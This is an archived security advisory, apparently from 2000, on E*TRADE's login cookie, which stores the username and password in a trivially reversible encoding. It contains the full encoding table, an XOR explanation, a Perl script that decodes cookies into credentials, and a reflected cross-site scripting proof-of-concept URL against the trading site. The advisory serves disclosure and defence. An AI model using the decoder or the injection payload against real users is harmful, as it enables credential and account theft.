COMMAND
E*TRADE
SYSTEMS AFFECTED
E*TRADE
PROBLEM
Jeffrey W. Baker found following. Unlike a Security Advisory,
this document will not describe the actual flaws in the software,
nor will it describe an exploit. However, it will include proof
that the exploit exists.
E*TRADE is a company which allows its customers to trade
securities using the World Wide Web. In E*TRADE's own words,
they have "some of the most advanced technology for Web security."
E*TRADE compares their services to a steel vault, a moat, and Fort
Knox.
E*TRADE uses a cookie authentication scheme which they apparently
wrote themselves. When a user logs in, E*TRADE concatenates the
username and password, transforms it with a lookup table, and
sends the string back to the user's browser as a cookie. This
string is then sent back to E*TRADE on every request. If the
user chooses to have a persistent login, the cookie is stored on
the user's disk.
This is the lookup table they are using. The single characters on
the left are converted into the double characters on the right:
! HI 9 IA Q OI i LA
" HJ : IB R OJ j LB
# HK ; IC S OK k LC
$ HL < ID T OL l LD
% HM = IE U OM m LE
& HN > IF V ON n LF
' HO ? IG W OO o LG
( H@ @ NH X O@ p MH
) HA A NI Y OA q MI
* HB B NJ Z OB r MJ
+ HC C NK [ OC s MK
' HD D NL \ OD t ML
- HE E NM ] OE u MM
. HF F NN ^ OF v MN
/ HG G NO _ OG w MO
0 IH H N@ ` OH x M@
1 II I NA a LI y MA
2 IJ J NB b LJ z MB
3 IK K NC c LK { MC
4 IL L ND d LL | MD
5 IM M NE e LM } ME
6 IN N NF f LN ~ MF
7 IO O NG g LO
8 I@ P OH h L@
Example: the user "fred" with a password of "123" would get a
login cookie "LNMJLMLLIIIJIK". The cookie "LELIMJMAILIMIN" can
be reversed to obtain "mary" and "456".
The cookie can be obtained remotely via cross-site scripting.
There are input validation errors in multiple places on the
E*TRADE site. As a proof of concept, try this URL:
https://trading.etrade.com/cgi-bin/gx.cgi/AppLogic+LoginPage?userid=%22><script>alert(%27Have%20a%20nice%20day%27)</script><input%20value=%22
If JavaScript is enabled, your browser should show an alert dialog
with the text "Have a nice day". This bug could be exploited
independently of the cookie bug to make the user execute an
unwanted trade or transfer of money.
It took Marc Slemko ~2 minutes after reading the first couple of
lines of this advisory to figure out what the issue is and verify
it by observing a few cookie values. It then took half an hour to
work out the algorithm used and write up the script to decode it.
A little perl script that will decode etrade's etmember cookies
into a username and password is included at the end of this
advisory.
To summarize the issue: when you choose to save your login info,
etrade sets a cookie on your system that consists of your username
and password, trivially encoded. Anyone can easily steal that
cookie via the well known "cross site scripting" attack.
This issue has been widely publicized, but developers still don't
get it. The bottom line to remember is that any cookies you set
can almost certainly be stolen from your users in some way, so you
need to very carefully define what can be done with those stolen
cookies.
But it is worse than this in this case; even before the cross site
scripting issue made it clear how much this sort of stuff matters,
it was still a bad practice to allow someone who steals a
long-lived cookie full access to sensitive information. E*TRADE
did the "obvious" end of this properly by requiring a password in
addition to a cookie, but screwed up big time by then sticking
that password in a trivially encoded fashion into the cookie.
This cookie is sent to the site without using SSL even! So if you
are an etrade user, then it is almost certain that your username
and password are going across the wire unencrypted. It is...
quite difficult for users to try working around this problem.
And yes, sadly enough, etrade is not alone among online brokerages
in having shockingly lax security policies. TD Waterhouse isn't
much better, although their problems mostly stem from being unable
to install standard vendor security patches.
#!/usr/local/bin/perl -w
#
# $Id: etradedecode.pl,v 1.3 2000/09/25 06:07:45 marcs Exp marcs $
#
# pass the value of an etrade etmember cookie in on stdin, and it will
# spit out the decoded username/password.
#
# eg.
# $ echo MBMBMBMBMBMBMBMBMBMBIIIIIJJOOJOLONO@OB | ./etradedecode.pl
# username/password: zzzzzzzzzz112/RTVXZ
#
# This isn't good code and doesn't generalize how the encoding/decoding is
# done enough, but it still works, possibly with the exception of certain
# punctuation.
#
# Marc Slemko <marcs@znep.com> 00/09/24
#
# Based on the hint that "etrade sucks" given by
# Jeffrey W. Baker <jwbaker@ACM.ORG> on bugtraq.
#
#
use strict;
$::LOWER_CASE = 32;
$::SHIFT = 16;
$::debug = 0;
sub etshift {
my ($char, $offset) = @_;
my $trans;
if (ord($char) < ord('H')) {
$trans = chr(ord($char)+$offset+$::SHIFT);
} else {
$trans = chr(ord($char)+$offset);
}
return $trans;
}
while (<>) {
s/\s//g;
my $line = $_;
my $output = "";
for (my $i = 1; $i < length($line); $i += 2) {
my $prefix = substr($line, $i-1, 1);
my $char = substr($line, $i, 1);
my $trans;
if ($prefix eq 'H') {
$trans = etshift($char, -40);
} elsif ($prefix eq 'L') { # lower case
$trans = etshift($char, -8+$::LOWER_CASE);
} elsif ($prefix eq 'M') { # lower case
$trans = etshift($char, +8+$::LOWER_CASE);
} elsif ($prefix eq 'N') { # upper case
$trans = etshift($char, -8);
} elsif ($prefix eq 'O') { # upper case
$trans = etshift($char, +8);
} elsif ($prefix eq 'I') {
$trans = etshift($char, -24);
} elsif ($prefix eq 'J') {
$trans = etshift($char, -32);
} else {
die("don't know $prefix$char");
}
$::debug &&
printf "%d:%s/%s:%d:%s\n", $i, $prefix, $char, ord($char), $trans;
$output .= $trans;
}
print "username/password: $output\n";
}
According to Tim Hollebeek, Jeffrey Baker's advisory on security
vulnerabilities with E*TRADE's web interface describes the cookie
encryption algorithm in terms of a lookup table, and Marc Slemko
has posted an implementation with a series of compares,
additions, and subtractions. In fact, it is much worse: The
encryption scheme is just XOR with a fixed byte. "Encryption"
proceeds as follows:
1. Take the ASCII byte and XOR it with 0xA8. (e.g. for 'f' [0x66] -> [0xCE])
2. Split it into the high and low nibbles. (e.g. [0xCE] -> [0xC, 0xE])
3. Add 0x40 to produce an uppercase letter or '@' (e.g. [0xC, 0xE] -> "LN")
Repeat for the rest of the characters in the username and
password. That's it.
SOLUTION
The user can protect himself by disabling JavaScript in the
browser, and by not using the E*TRADE service.
E*TRADE seems to have rolled out a new cookie scheme, but it isn't
going to do one bit of good unless they plug the dozens of
cross-site scripting problems littering their site.
This bug affects potentially all E*TRADE users. To defend against
this attack, the user should:
1) disable JavaScript in the browser.
2) not use the 6-month persistent login option. This option
will cause the cookie to be stored in a file on the user's
disk, which opens up another vector of attack (via e.g.
"brown orifice" in Netscape Navigator)
3) stop using the E*TRADE web site.